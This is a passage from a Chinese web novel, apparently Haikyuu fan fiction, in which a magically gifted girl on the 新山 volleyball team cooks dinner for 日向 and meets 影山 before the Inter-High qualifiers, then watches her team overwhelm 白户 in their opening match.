“哈哈哈！来跟我学跳发吧！”
“啊……那个……”她面露难色。
木里木里，这个是真不行。
偶尔她也会羡慕力五的选手，能够简单直接地撕碎对手的一切防御，但她的力量不足，大力跳发对现阶段的她来说还是太难了得不偿失。
一个多月的肌肉要怎么与练习了十几年的肌肉相比呢？
失去的时光是再也回不来的。
不过未来么……
“不要为难新人啦～”
最后就是花咲笑眯眯地把她拉走，给阎魔乐留下一个意味深长的眼神。
队长的勾手发球是她在自己力量和体力并不拔尖下的一种选择，为了将体力合理分配在比赛中。
兰取学姐则会使用跳飘球和侧身下手发球两种形式，前一种自然不必说，但是后一种在某些场景下则会有奇效。
发球的门道很多
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——压底线、发前区等不同落点，还有线路的变化，掌握这些技术，就算不是威力巨大的发球也能让对手喝上一壶。
如果把发球比做是矛，那么她要让每一支普通的矛化为锐利的、致命的、无法防御的攻击。
不，也并不是完全无法防御，有经验的队员用上手接球就能破解。
但是，只要能让对手感到精神紧张，稍微影响一点点后续进攻，那就足够了。
因为阎魔乐的学习，十六夜也调整了自己的发球思路，结合二传的视野进行战术制定。
当然，这过程中自然少不了星那的嘲讽。
现在，阎魔乐确信她和某位同发色的拽男属于同种人设了。
马上就是IH预选赛了，不过新山的众人完全不紧张，相反她们十分兴奋。
今年的新山几乎可以说是势不可挡，有一种要拿下全国冠军的势头。
她们所在的半区被称为死亡半区，没有学校能够有自信赢过现在的新山。
这样的氛围感染了阎魔乐，她隐隐有一种感觉——她的各项数值为1的能力参数都在突破的边缘了。
距离预选赛还有2天，今天算是赛前的最后一次发球加练。
嶋田拿出两个袋子递给他们：“来，这是为你们加油的小礼物。”
山口接过打开一看：“牛、牛肉？”
虽说很实在也不便宜，可这个礼物女孩子怎么会喜欢啊？
想着，他偷偷看了看少女的表情——她看上去很开心的样子？
“谢谢嶋田先生。”阎魔乐由衷地道谢。
怎么可能不开心呢？
说真的，牛肉在这里是真贵，就算她有着可观的生活费，在有增肌需求后，恩格尔系数成倍上升。
“好了，快比赛了，这两天好好休息，熟悉下球感就行了，别太累了。”
嶋田叉着腰，有些欣慰地看着他们。
“回家路上小心。”
“嶋田先生再见。”
“师父再见。”
山口和阎魔乐并肩走在回家的路上，他们的家离这里不算远，但是在相反的方向上。
“新山应该是第一轮轮空的种子队吧？”
山口想到真的要比赛了就感到一阵紧张。
“嗯，是这样的。”
阎魔乐点点头，平静地说。
“啊……好厉害。”
“嗯，新山很厉害，未来的我也会很厉害。”
阎魔乐的脸上浮现出某些憧憬与得意。
青春期的自信和不服输常常建立在某些虚荣之上，除去拿回魔力这个根本目标，阎魔乐觉得能打好排球也是一件不错的事情。
坚信只要努力就能获得成功确实是一种傲慢，只是这种傲慢也并不全是贬义的。
“嗯，会的……”
能说出这样的话就已经很厉害了……
山口想着自己说出这样的话的情形，胃里顿时一阵抽搐。
少女长得高，比自己矮不了多少。
他低着头往侧边不经意地一瞥，刚好看到她白皙的、运动后泛着微红的脸庞。
她微笑着的神情揉入了期待与自信，分外迷人，山口觉得脸有些发烫，立刻转开脸。
刚好走到分叉路口，像往常一样，他们将要分别走向不同的方向。
“再见，山口君。”
“阎魔同学，再见啦。”道别后，他赶紧离开。
“山口君。”
阎魔乐看着他稍显单薄的背影，突然叫住了他。
少年不解地转过身。
“山口忠，你一定会成为乌野最锋利的矛。”
在她的眼中，山口忠拥有着很强的能量，因为他能够正视自己的弱小然后开始改变，这本身就是非常了不起的事情，只是他常常不自信。
“哎？”
少年愣了几秒才反应过来她话中的意思，顿时喉咙发紧。
“谢谢。”
他咬住下唇，强忍着泪意。
“谢谢……”
他重复着低下头。
不起眼的他从来不是人群中耀眼的存在。
可纵使日月交辉，但仍然有人看到了他的光芒。
15.身份重置。胜者还是败者？
空无一人的厨房中，定时器归零响起，阎魔乐快步走过去掀开锅盖。
一瞬间，香味蔓延开来，美味的牛肉块随着“咕嘟咕嘟”沸腾的汤汁在其中微微颤动。
嶋田先生送的牛腩品质不错，配合番茄一起炖煮，很难不好吃。所以即使是她那样只能勉强能用「平平」形容的厨艺也能做出一顿像样的晚餐。
她关掉炉灶，从锅里盛出牛肉直接盖到米饭上，汤汁浸湿米饭展现出诱人的色泽。
剩下的番茄牛腩还可以吃一餐，完全冷却后就可以冷藏起来。
按理说，明天就是IH预选赛了，阎魔乐却依然不紧不慢，没有半点紧张。
说到底，她只是个连背号都没有、甚至无法站上替补席的吊车尾。
不过，即使她站上球场，她应该也不会紧张吧？
毕竟，排球是很少死人的运动，输了比赛也不会怎么样吧？
至于学姐们……
阎魔乐的脑海中闪过首发们的表现。
嗯，根本想不到怎么输。
只有一人的餐桌旁似乎有些冷清，阎魔乐选了一盘顶尖赛事的录像用来下饭。
她刚拿起勺子，手机传来消息提示音。
日向：「阿乐有时间吗？」
「翔阳是想聊下明天的比赛吗？」
阎魔乐一下就明白了话题将会延伸的方向。
对于日向来说，IH预选赛是他期待已久、无比珍视的比赛——是在初三被影山打败后的第一场正式比赛。
他会紧张无可厚非。
「哈哈，果然是什么都瞒不了阿乐呢～」
「可以过来找你吗？」
这边阎魔乐同意的回复刚显示送达，家里的门铃就被按响。
啊，行动派啊……
她打开门。
6月的夜晚还有稍许凉意，少年已然换上了短袖短裤，他的周身弥漫着一圈若有似无的热气。
停在一边的自行车解释了这一现象。
阎魔乐对T恤上荧光色的「大器晚成」四个字多看了两眼，确认「成」字少了一撇，是个错别字。
这么看来，不经意的错误却十分合适呢。
日向翔阳，他自己亲手添上了那缺失掉的一笔呢。
一阵凉风吹来，唤回了她的注意力。
少年正微笑着看着她，好像对接下去的问题不知道如何开口。
出了汗就吹风的话，会感冒的吧？
而且，现在是饭点他就已经到了这边，估计也没有好好吃晚饭吧？
阎魔乐的大脑堪称顶尖处理器，看似纷繁的思绪其实用了不到1秒。
“翔阳，肚子会饿吗？”
“我在家里……哎？”
日向似乎是想说已经吃过了，可他的声音变低，摸了摸肚子不好意思地笑了。
“好像……没有吃饱。”
她就知道。
“有牛肉配米饭可以吗？”
日向的眼中亮起光芒：“哎？可以吗？”
阎魔乐点点头，引着他进屋。
“打扰了。”
日向对着没有别人在的屋子低声说了一句。
阎魔乐将米饭和牛肉分开盛出，顺手在米饭之上打了个无菌蛋，饱满的蛋黄微微晃动，顺利地停在了饭尖，仿佛做好了被戳破的准备。
日向喜欢吃生鸡蛋拌饭没有错，但幼驯染只是一个设定，她也并没有和他一起长大……
知道某个信息特意去做和无意识完成相应习惯是天差地别的情况。
违和感……
她有些恍惚地皱起眉。
「哇～宿主的爱心晚餐～统统我也很想吃呢～」
你到底有没有正事可以做啊？
阎魔乐吐槽着，端着食物走出了厨房。
“谢谢阿乐～看起来好好吃～”日向闭上眼双手合十，“我开动了。”
阎魔乐自信于番茄牛腩的美味，但还是期待地看着少年把牛肉塞进口中。
日向鼓起腮帮咀嚼着，眼中光芒更盛：“好好吃～”
“是吧～”阎魔乐笑起来，心情不错。
该不会其实她很有做饭的天分吧？～
这样的话，下次一定要做给十六夜尝尝。
上次她脑袋一热叫人家来做客看比赛录像带，结果到了晚上她只是叫了外卖的拉面填饱了肚子。
嗯，再去嶋田先生那里购买食材好了～应该能打折的吧。
“这个是……”
日向看到电视中的排球比赛。
“V联盟D1联赛，女排红兔和蓝豹的冠军赛。”
虽说已经看过好几遍了，她仍然会为职业比赛的节奏、战术、实力所折服。
“排球果然是很有意思对吧？”
“嗯，是这样的。”
“哇，好饱好饱～”
日向满足地吃下最后一口饭，干干净净的盘子证明了他的夸奖并不是虚言。
“所以说，翔阳最开始是想说什么呢？”
“啊，对了！”日向轻呼一声。
竟然已经忘了吗！单细胞实锤了！
“我是在想——”日向垂下眼，有些犹豫地说，“明天的比赛如果输了的话，就不能继续……”
“那赢下来不就好了？”阎魔乐很少打断他的话，甚至语气有些强硬，“难道说翔阳觉得自己在训练中偷懒了吗？”
日向打了个激灵：“完全没有！”
“那么，无论什么结果都是在你的努力之下达成的，你既然没有偷懒那还有什么好担心的呢？”阎魔乐直视少年的双眸，认真不已，“更何况翔阳既能跑，又能跳，现在还有可靠的队友在身边不是吗？”
“是、是的！”日向激动地应道，继而他露出释怀的微笑。
她的一番话说得理所当然：“翔阳还有令对手几乎无法防御的「怪人速攻」对吧？”
“嗯！”日向抬起头，看向淡然冷静的少女。
真不愧是阿乐呢……一直都那么强大。
“谢谢你，阿乐！”日向重新振作起来，消沉的时间应该还没有他吃饭那么久。
乌野的比赛场地在仙台体育馆，而新山则在驹山综合体育馆，她无法到场为之加油。
“翔阳，明天比赛——”阎魔乐露出一丝浅笑，“飞起来吧！～”
“嗯！我会拼尽全力的！阿乐也是！”
日向骑上自行车，开始了回家的征程。
“刚吃完饭，自行车要慢一点骑啊！”阎魔乐在他的背后喊道。
“好！”
日向大声应着，回过头朝她招手。
“看路啊！”
“是！～”
少年单薄的背影消失在转角，阎魔乐轻叹一声，回屋套上了运动服外套，拿上钥匙，她想自己走走。
街道上，一些吃过晚饭的行人三三两两地散着步，细密的私语营造出一种暧昧低沉的吵闹。
阎魔乐没有特别选择路线，只是随意地走着，不经意地就来到了清除了第一只邪祟的那块空地上。
此时，孩童们早已散去，只余下沙坑中未完成的小小建筑和杂乱的脚印，秋千安静地停驻，无言地叙述着什么。
一串均匀的脚步声由远及近，然后放缓，最后停在了不远处。
上次也是这个时间，该不会……
阎魔乐转过身——
影山穿着蓝黑运动服，整个人修长高挑。
他擦了擦头上的汗，平复着呼吸，犹豫了一下朝少女走过来。
一个两个都是要比赛了闲不下来是吗？
哎，这么说起来，她自己好像也是这样。
「这一定就是命运的邂逅啊～」
此刻，阎魔乐真想撕下系统的假面，看看后面是不是隐藏着另外一套男高好感度面板。
“……你好。”影山率先开口打了招呼。
“你好，影山君。”
影山飞雄不愧是一个标准的排球脑袋，在第一次见面后几乎没有记住少女，却在看过她比赛后就能记下她出彩的部分。<
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p>明明拥有着战术视野，能够很好地组织进攻，拥有绝对的集中力，能够无障碍地与十六夜配合，却被孱弱的身体素质和糟糕的技术拖累……
这么想着，影山的脸越来越臭，阎魔乐估计他心里正在天人交战，但因为想法太多，所以他既不能完整地复述出所有的话，也无法归纳出准确的重点。
再这么下去，按照他的国文素养，他应该会说出什么听上去很恶劣的话吧？
“关于排球，我会努力的。”阎魔乐浅笑着说，“我也不想浪费十六夜托过来的球。”
一番思绪在脑海中碰撞消散，影山吃惊地看着他，咽下了某些糟糕的措辞，不成形的话语最终变成了——
“嗯，加油。”
“影山君，为自己和团队献上一场精彩的比赛吧～”阎魔乐挥挥手，“那么告辞啦。”
“那是自然。”影山急切地肯定着她的话，“再见。”
她笑一下转过身，向反方向离去。
月光洒落，为万物蒙上了柔和的滤镜，连夜色也温柔起来。
月岛萤戴上耳机，看了看墙上挂着的11号队服，此时的他还不知道自己能为这个区区社团活动拼到什么程度。
风间枝拉上窗帘，捧着战术记录册坐进沙发，安静地一页页翻着。
花咲一叶看着望月连续发来三条表情包，忍不住笑出声。
及川彻关掉了屏幕，他决定听从岩泉的话早点休息。
在那之前，他需要打个电话。
“是的，麻烦录下乌野的比赛画面。”
“嗯，非常感谢。”
挂了电话，他顺手翻到和少女的聊天界面上，他们的对话还停在周一他问「要不要一起去吃甜点」的时刻，没有下文是阎魔乐毫不留情的无视。
真冷淡啊。
他浅笑着，又发了一条消息过去。
片刻后，屏幕亮起，看到回信，及川彻总算是心满意足。
雪村芽躺在床上，她将排球抛起又接住，眼神坚定。
飞鸟苗香叮嘱大家早些休息，顺手检查了一遍已经整理好的背包。
天内叶歌发消息让田中加油后，对着自己默默地重复了一句相同的话。
云中芥子望着月亮发呆，不知不觉进入了梦乡。
牛岛若利洗漱完回到宿舍，天童正在他的房间里看jump。
“明天要比赛了，早点休息。”白鸟泽的王牌一向冷静。
“反正若利会把对手全部轰飞的对吧？～”天童眯起眼。
“嗯，所有的对手，我都会打败的。”
牛岛握紧了左手，握紧了父亲送给他的礼物。
大空面色如常地看着喜剧电影，思绪不知落在了哪里。
星那幽子正对着手机纠结，青井欣子的电话刚好打了过来，意思是她绝对会全力以赴的。
鬼冢幽对着供奉的神像拜了拜，却没有许下确切的愿望。
十六夜洗漱完毕，给阎魔乐的未接来电回了电话。
“等比赛结束，来我家吃饭吧。”
“嗯，一言为定。”
阎魔乐坐在房顶上，在指尖凝出空间立方体，她轻轻转动手腕、拨动手指把玩，魔力形成的光点在其中跃动。
两个多月的时间匆匆流淌而过，日复一日的精疲力尽却只是时间长河中微不足道的一滴水珠。
手机屏幕亮起，来自某个轻浮的前辈。
「小阎魔，晚安咯～」
「比赛加油，及川前辈。」
她放下手机，望向澈畅的夜空。
全新的比赛来临之际，无论曾经是败者或是赢家，参加比赛的每个人的身份都将会刷新重置。
他们是胜利的追逐者、过往的复现者、也是各自故事的书写者。
至于阎魔乐自己的故事么……
少女微微一笑，手指在虚空划了一个圈，她从屋顶跳下，魔力托着她轻巧地落在二楼的阳台上。
未完待续的篇章仍在进行中。
那么，晚安。
16.天才不是首发的必要条件
6月2日，驹山综合体育馆外，穿着不同颜色队服的参赛选手们熙熙攘攘地朝内走去。
宫城县IH预选赛女子排球共有54支队伍，其中8支是种子队。
不同于春高的紧张，IH的现场氛围稍微轻松一些，不过对于想要提前退队的三年级来说，这仍然是最后一场全国大型赛事了。
在张贴的分组赛程表前，立着2个高中女生。
其中一个无奈地说：“啊～白户运气真差，竟然和新山一个小组。”
“那你干脆说整个宫城县运气都很差好了，明明不是东京这种大城市，竟然会有超高中级的选手存在，我记得，新山女排已经连续三年获得县内所有全国大赛的门票了吧？”
“就是这样……真是的，白鸟泽也争气点啊，明明男排那么强。”
“不要这么刻薄啦，往好处里想，起码我们的排球队能赢过第一轮吧？”
“嗯……乌野？就算赢了这种名不见经传的学校也没什么吧？碰上那群天才还不是会输得很难看？”
“是啊……她们就像不可攀登的高山一样呢。”
“真是……令人嫉妒的天才啊。”
诚然，在新的比赛开始之前，所有人平等地重置身份，不过在面对绝对王者时，也只有少数人才能毫不畏惧地迎头而上吧？
毕竟，没有人会想打必败的仗。
“啊啦～我们是天才可真是不好意思呢～”
身后突然传来一声刻意的回复，闲聊着的少女们吓了一跳，顿时噤声回头——
一群穿着红白相间队服的女排选手正看着她们，浩浩荡荡的人群中其中不乏比她们高上一头的存在。
虽然对方脸色大多不错，但依然气势逼人，她们不禁后撤了半步。
“那么，一会的比赛要加油哦～”
花咲笑眯眯的样子，显得十分和善，软糯的关西腔明明听上去没有什么攻击力，却总令人觉得不寒而栗。
飞鸟担心地看着雪村，后者一脸阴沉地别开脸，微微蹙起的眉头道出了她的不悦。
“我们走吧。”
风间枝平静地控场，带着众人往体育馆内部走去，留下俩人在原地面面相觑。
首发和替补找到了一块角落里的空地，铺开塑料垫作为休整准备的据点。
替补是自由人云中芥子和5个二年级组成，剩下的队员会和啦啦队一起在二楼的观众席观赛。
这样的安排验证了风间队长在一开始就对阎魔乐说过的话——“别说替补，很多人连正选的资格都拿不到。”
事实上，拿到正选也不一定能上替补席。
教练会根据选手的身体情况和最近训练的状态来确定替补名单。
阎魔乐和一年级的新人一起，推着物料补给跟在最后面。
打杂一向是新人的活儿，她对此倒是没有什么微辞。
处理完手续的新井教练吩咐道：“你们几个先和经理一起先把条幅挂好。”
“是！～”
“辛苦了。”
至于啦啦队那边，因为是仅仅是小组赛，又加上IH同期还有其他球类比赛的选拔赛，因此前来加油的同学并不是很多。
来到二楼观众席，阎魔乐和队友们小心翼翼地展开白底红字的横幅。
【登山】
刚劲有力的笔锋勾勒出强者的气势，朴实无华的词看似简单却好像什么都说了。
确认栏杆上的绳子没有问题后，她们数着“三、二、一”，同时用力翻过条幅，“哗啦”一声展开，轻轻砸在栏杆上发出沉闷的声响。
“哎？你们知道吗？”一年级的新任经理福生优奈想到了什么高兴地开口，“听说这是新井教练来到新山之后重新定的。”
这一下，少女们打开了话匣子。
“嗯，听说当时还有其他更为直白的标语——例如【用脚步丈量高度】或是【向上攀登】，但是新井教练就选择了这个。”
“哎？哪些听上去也很有感觉哎？对吧？”
因为【登山】听上去更像是处于一种持续在进行中的状态吗？
无论是排球也好，人生也好，前方总会有一座又一座的山？
高度并非是最重要的衡量标准，最重要的是左脚和右脚轮换着向前。
“说起来，新山能打败青城和白鸟泽成为县内第一的豪强也是从她加入之后开始的吧？”
“不过这样的练习量之下，就算是普通人也会变强的吧？”
原来如此。
阎魔乐明白了为什么学姐们对于「天才」的形容感到不悦了。
一声天才似乎就轻飘飘地抹去了选手们的所有努力。
这句话十六夜之前也说过呢。
新山，可不是天才就能随随便便打首发的地方。
下方的排球场中，白户和乌野的选手已经开始热身。
排球落地的“砰砰”声中，风间枝和花咲也来到了观众席坐下。
队长拿出一本厚实的硬壳笔记本摊开放在腿上，又从封皮上取下笔放在中央。做完了这一切，她的眼睛平静地落在了场中。
笔记本的纸面被落下的水笔刻印出文字，不平整的纸张自然而然地增加了本子的厚度，显得沉甸甸的。
队长真不愧是学霸。
等等，那么这本笔记岂不是记满了她所遇到的有价值的对手？
虽说信息会过期，但是处理对局的这一套思考逻辑绝对是可以借鉴的！
注意到阎魔乐的目光，眯眯眼学姐似乎看穿了她的想法。
“小枝就是那么认真的啦～所有的比赛对手都要亲眼确认呢，这些信息真的特别有·价·值·哦～”花咲准确地在少女关注的内容上增加了特别强调的形容词，她话锋一转，“不过，在观察别人这点上，阎魔你似乎……也很有心得呢～”
和狐狸一般精明的花咲早就注意到阎魔乐平时一有空闲就观察首发们训练，特别是在拉伸和精疲力尽倒地休息的时候。
花咲当然不会觉得这样的行为有什么问题，本来她也好、小枝也好就都是这样的人。
她纯粹就是想逗逗这个聪明而富有野心的后辈。
“这是因为……”
还好，阎魔乐的话被哨声打断，花咲扬起嘴角，把视线投入场下，选择放过了她。
比赛开始。
两队之间的胜者会在下午第二轮比赛中对上新山。
说实在的，这并不是一场非常精彩的比赛。
双方的水平比较平常，连阎魔乐都可以评价一句基本功不太扎实。
不过相较之下，白户在防守要强上一些，除此之外，她们的4号主攻手攻击力也算不错。
至于在乌野这支人数本就不多的队伍中，只有队长道宫结的水平相对要好一些。
只是，排球从来不是一个人的运动
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，即使她拼劲全力也依然无力回天。
最终，白户以2-0赢下比赛。
“好了，再过一会就可以吃午餐了～”花咲起身道，“下午还要拜托你们为比赛加油了呢～”
风间枝合上笔记本，和学妹致意后踏上离开的阶梯。
花咲跟上去问：“呐，小枝有什么需要强调的嘛？”
“没什么特别的，封死对方的王牌就可以了。”
“啊啦～小枝真是很不留情面呢～”花咲轻松地调侃道。
风间枝没有回复，无声的回答表明了某种态度。
敏锐的花咲又怎么会不理解她的意思，她立刻改口：“是啦是啦～认真对待才是对双方最大的尊重对吧～”
她摊了摊手：“我们的队长大人真的超级严肃又高尚呢～”
其实她就是为了说这句话才提出最开始的那个问题，如此简单的比赛，她又怎么会看不懂呢？
排球场中，景色被分割开。
胜利者高兴地围在一起庆祝，失败者互相安慰、抱头痛哭。
阎魔乐有些不解。
明明排球这项运动……就算输了也不会死人的对吧？
再说，如果后悔的话，不是还有春高吗？
「宿主好冷酷无情～」
如果知道自己输掉会哭的话，一开始就努力一些不就好了。
努力到就算输掉也不会哭的程度，说不定就能赢下比赛了呢？
见她不说话，十六夜问：“阿乐，你在想什么？”
“输掉了……就不能继续打比赛了。”阎魔乐意识到刚才的想法太过于傲慢，于是答非所问地叙述着事实。
“显而易见吧，笨蛋！”星那双手抱在胸前，微微昂着头，“比赛的机会可是胜利者的战利品，越强的人才能打越多的比赛。”
“原来如此。”阎魔乐思忖着，“没想到你也能说出这么有道理的话呢。”
“你说……”
“谢谢你，忧子。”
“喂！不要这么叫我！”星那脸一红，慌乱地嚷嚷起来。
“我们什么时候才能正式上场比赛呢？”十六夜羡慕地望着正在热身的选手们。
“哼哼～本小姐明年一定会当上首发的～”
“忧子好厉害。”鬼冢一如既往地捧场。
大空安静地坐在一边，并不搭腔。
结束掉比赛的选手退场，新的参赛者推着排球车进场，火急火燎地开始热身。
刚才的胜利与失败被匆匆掩盖，不同的选手开始谋划着一场全新比赛的结局。
另一边，乌野也赢下了和常波的比赛。
「阿乐，我们赢下第一轮啦～」
「不过，下午的对手是那个铁壁……」
「翔阳会赢的吧？」
「嗯，那是一定，只有赢了才能打更多比赛！」
和星那说得一样呢，难道说她的人设更加复杂一些吗？
下午的比赛观看人数明显比上午要多一些，很多人都是因为新山的名头跑过来围观。
抽签决定新山先行发球，首发阵容站位如下：
望月须弥WS 雪村芽MB 天内叶歌WS
风间枝WS 飞鸟苗香MB/须弥芥子Li 花咲一叶S
看着不怒自威的对手，白户众人不自觉咽了咽口水，总觉得自己从气势上就输了。
比赛开始！
17.大雪是为了春天更好地发芽
新山发球。
“放马过来！”
小沼真纪气势不错地大喊一声，背号为1的她是白户的队长和王牌，自然要对全队的士气负责。
尽管如此，她的注意力还是被前排某个冷脸的少女分去了一些。
似乎……错过打招呼的机会了。
花咲持球向后退了几步，还是那副看不出心里在想什么的笑眯眯的样子。
前排的三人皆双手抱头，防止来自队友的痛击。
这个距离是……
阎魔乐的念头还没有落下，花咲已然抛球。
虽然排球比赛很少死人，但是只要有力5的选手存在，那就绝对不会是零。
花咲不紧不慢地助跑起跳，她的姿态优美，宛如舒展的藤蔓，却在最高点猛地盛放出艳丽的花——她屏住呼吸向对手来了一记结结实实的大力跳发，直接轰向对面的边线。
排球刮过一道气流，“咚”的一声，重重地砸到地面，随即高高弹起。
边场裁判判断界内，比分1:0。
白户的选手们愣愣地站在原地，根本没有反应过来。
纵使她们对于新山的大力跳发略有耳闻，但是亲身感受之后只觉得恐怖异常。
“别在意，别在意，对面不可能一直保持这样的进攻力。”小沼真纪安慰道。
话是这么说，其实她自己也不敢保证，毕竟对面是那个豪强新山啊。
“nice！”
“再来一球！”
阎魔乐和其他人在看台上拍着加油棒助威。
在比赛开始之前，她从没有想过自己会这样大声呼喊。
她向来觉得自己算得上理智冷静，但是排球就是有这样的魔力，感染着她好像要落入什么不得了的漩涡之中。
新山众人纷纷为这个漂亮的开场而鼓劲。
雪村芽张了张嘴，用只有自己能听到的声音低声说了句“nice”，她并不擅长鼓励他人或者表达善意。
刚认识她的人一定会认为她是一个很难接近的训练狂，当然了，事实也差不多就是如此。
不过相处了三年的队友对此并无不满，相反还非常理解她这样的性格，因为她的「难以接近」不过是「深爱排球」的另一种表达。
云中就曾经意味不明地说过：“雪村学姐的话，是松软的雪冰哦，不过打排球的时候很锋利就是了，嗯……有点像刨冰呢。”
“哈哈哈哈！这是什么意思，听上去好好吃！”望月兴奋地凑过来。
“也许小芥子想说的是面冷心热的意思吧？”花咲思考着又觉得不对，但她懒得修改，“嘛，差不多就是这个意思啦～”
当时……听到这话的自己是什么心情来着？
还没回忆起来的雪村芽突然感受到网的对面射过来一道视线，她抬眼看过去——小沼真纪冲她露出了一个腼腆又尴尬的笑容。
她稍稍愣了下，然后点了点头作为回答，这下吃惊的表情转移到小沼真纪的脸上。
那个雪村……也会给别人回应的吗？
“哈哈哈，花咲也太认真了吧。”指导老师谷田贵子“哈哈”一笑。
她最近一直在忙暑期合宿和其他事宜所以较少露脸。
本来往日里也都是将训练的部分交给了教练组，主打一个她主外，新井主内。
“确实如此呢。”新井教练捏着下巴思忖起来。
虽说花咲不会在训练中偷懒，但也不是像望月那样总是120%活力满满的状态，有的时候还会耍些小聪明来达到事半功倍的效果。
倒不是傲慢，但是面对县内水平普通的对手一上来就这么拼命……
应该是发生了什么吧？
白户的众人也在思考同样的问题，她们并没有强到要被这么认真对待吧？
压力逐渐爬上她们的心，仿佛被一丛荆棘包裹、收紧。
花咲走到边线，将排球往地上拍了拍，她已经想好这球要如何进攻了。
白户严阵以待，甚至调整了后排防守的位置来应对新山的大力跳发。
出人意料的是，花咲发了一个极其普通的上手发球。
失误了？
几乎所有人的心头都升起了这么一个疑问。
没有展现过人的力量，也不是对准难接的位置，这放在花咲身上足以看作是失误的程度。
果不其然，这球被顺利接起，一传到位，二传也不错。
小沼真纪后退一步助跑上网，她刚刚起跳准备出手，眼前瞬间出现2座高山。
糟糕，球路被封死了！
但她已经来不及改变攻击模式了，只听“啪”的一声，进攻被雪村完全拦死，白户的自由人救球失败，新山防守直接得分。
小沼真纪站稳身子，不可置信地回头，然后望向对手。
雪村芽分别向两侧摊开了手掌，望月和天内轻轻拍了下表示鼓励和庆祝。
天内笑着说：“学姐好帅！”
这是望月定下的规矩，她可以在大部分时间保持沉默，但是在自己得分的时候，一定得邀请或者接受其他人的祝贺。
刚开始，雪村非常不习惯，但是逐渐地，她好像能感受到一些力量从皮肤短暂的相贴处传来。
那是和练习中得到的满足感和安全感不太一样的力量。
“不过，阿叶可真是坏心眼啊～”望月不由地感叹道。
她虽然头脑简单，但和花咲关系最好的她自然是第一时间明白了这球的用意。
“哎？不要这样夸我啦～”花咲笑眯眯地说。
二传手作为全队触碰球最多的位置却很少直接进攻，而发球就是其中一种。
只要体力允许，花咲绝对会来上几颗大力跳发来过过瘾。
毕竟看到望月眼巴巴地等着她的托球也很有意思。
所以，在发球的综合实力上，她自信于不输给队内任何一个人。
至于为何要发这么普通的球……
那是因为——
花咲眯起眼睛，颇为自豪地扫过她的队友们。
现在这个站位，可是新山最厉害的阵容！
首发海拔最高、攻击力最强的几人都在前排，后排还有全国顶尖的自由人和靠谱的队长托底。
更何况要摧毁对方的信心，可不是只有一种方法呢～
全方位的碾压才是最直接的吧？
心理战吗？通过防守逐步摧毁对方主攻的手段。
阎魔乐兴奋地握紧了栏杆。
风间枝的笔记本给了她灵感，她快速地在手机备忘录中记下了这个知识点。
虽然比纸笔方便，但因为不是智能机，她还是觉得有些麻烦。
“阿叶，下一球要传给我哦！”望月举手招呼道。
花咲第三次发球，她又后退了几步。
大力跳发？
不、不对！
是跳飘球。
在起跳阶段，阎魔乐就认出来了她这些天一直在练习的动作。
那是一套和大力跳发完全不同的体系。
很可惜，那个球出界了。
“啊啦～抱歉～”花咲面含歉意，“稍微有点掌握不好呢。”
在新山，只会一种武器是不行的。
每个人都在努力武装自己以应对更加激烈的比赛。
跳飘球，就是她最近正在练习的新武器，说起来，还要感谢一年级那个「小雪村」的启发呢～
顿时，观众席的阎魔乐打了个喷嚏。
比分2:1，白户发球。
不知道对面是挑衅还是失误，这个球径直朝着云中芥子飞过来。
全国顶尖、县内最强的自由人微微侧身，下手接球很好地卸去所有旋转，给出了恰到好处的一传。
花咲准备二传，前排三位攻手翘首以待。
三人纷纷后撤助跑，因为每个人的速度不同，因此起跳时机也不一样。
花咲迅速出手，配合速度最快的雪村通过快攻拿下这球。
“阿雪，nice～”
望月的印象中，花咲很少会发球失误，继而她吃惊地大喊：
“我知道了，阿叶你是故意把球权给对面，好让阿雪扣球吗？”
“哎？还有这样的战术吗？下次可以试试呢～”
花咲歪了歪头，故意装傻。
不过在正式比赛打还没有完全练好的发球怎么看都要被教练训斥了吧。
雪村转过身低了低头道：“谢了。”
“啊～好感动，那个冷淡的阿雪竟然说了谢谢～”花咲装模作样地捂着心口，显得很感动。
雪村脸一红，立刻回到轮转后的位置上。
这还是初中那个阴沉、不合群的雪村吗？
小沼真纪大为吃惊。
初中时期的雪村阴沉孤独，不爱与人说话，最喜欢做的事是在训练结束后自己给自己加练。
她对排球有着绝对热情，也因为长时间自主训练被教练夸奖。
这原本是件好事，可是少年时期的逆反心理最是可怕，再加上她又不合群，明明个人实力不错的她一上赛场就没办法和人好好配合。
或者说……没有人愿意与她配合。
“花咲竟然敢这么乱来，比赛结束可得好好说说她。”
话虽如此，谷田老师看上去心情还是不错的，看来合宿事宜一切顺利。
“应该是为了帮雪村树立信心吧？”
新井教练是看着她们从青涩的一年级开始一步步成长起来，自然是很理解其中的隐情。
能让花咲这个“坏心眼”的狐狸不怕麻烦、有些多此一举地布局大概率是和某些
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事有关吧？
“哎？”
“毕竟雪村那孩子一直到高二末才有了第一次上场的机会啊，这也算是她的第一场正式比赛，所以花咲才会这么做吧。”
“确实呢～”谷田老师会意，“虽然孩子们都很用功，可要说其中最纯粹的就是雪村了。”
雪村很努力，但绝对称不上天才。
望月拥有超棒的身体素质、云中的球感绝佳，而雪村的天赋在首发中几乎可以说是垫底，能够成为退可守，进可攻的首发MB，全靠她的坚持不懈。
应该说任何人拥有她那样的毅力，都能有一定的成就吧。
其实，小沼真纪的天赋要更好一些，再加上性格更好的她也深受教练和队员的喜欢，她自然而然地成为了王牌。
初三毕业时，因为家庭住址的原因，她选择了加入白户，排球队的其他人还为此觉得可惜呢。
“反正我这个水平到了新山，也要花很大的努力才能拿到首发的位置吧？”
本来她也没想好未来要走打排球这条路，何必像雪村一样每天都弄得自己精疲力尽呢？
结果，雪村一声不吭憋着一口气成功加入了新山，这在当时也被偷偷议论了一番。
“那家伙，一定很难拿到上场的机会吧？”
“就是，她不是已经一年多没上场了吗？”
“那岂不是要坐三年冷板凳？”
没想到……
她竟然真的在那个新山获得了首发的位置。
还是被评价为历年来最强的新山。
过去的雪村就像是沉睡在瑞雪之下的种子，用汗水浇灌，不断积蓄力量，静待春天的萌芽。
而从现在开始就是那个春天！
“真是王道热血漫的剧情啊……”小沼真纪喃喃地说。
有那么一瞬间，她在想，如果当时也选择了同样一条路，会不会现在穿着白红比赛服的就是她了呢？
当然，人生没有那么多如果。
白户抓住机会发动了一次快攻，新山拦网一触，云中轻巧地给出完美一传。
花咲精准出手，她甚至没有观察对手的位置，径直给自家绝对的王牌传了一个超高打点的球。
全国三大的主攻手的攻击显得如此朴实无华，但就是毫无技术可言地一球，直接撕开了对方的拦网。
伴随着排球沉闷的砸地声传来，这一球给出震撼不比最初的大力跳发少。
“望月学姐，nice！”
“好球！”
比分很快来到17:8，新山大比分领先，失分大部分都是她们自己的失误。
明眼人都能看出来，这场比赛双方的实力差距就好像职业选手和业余排球队。
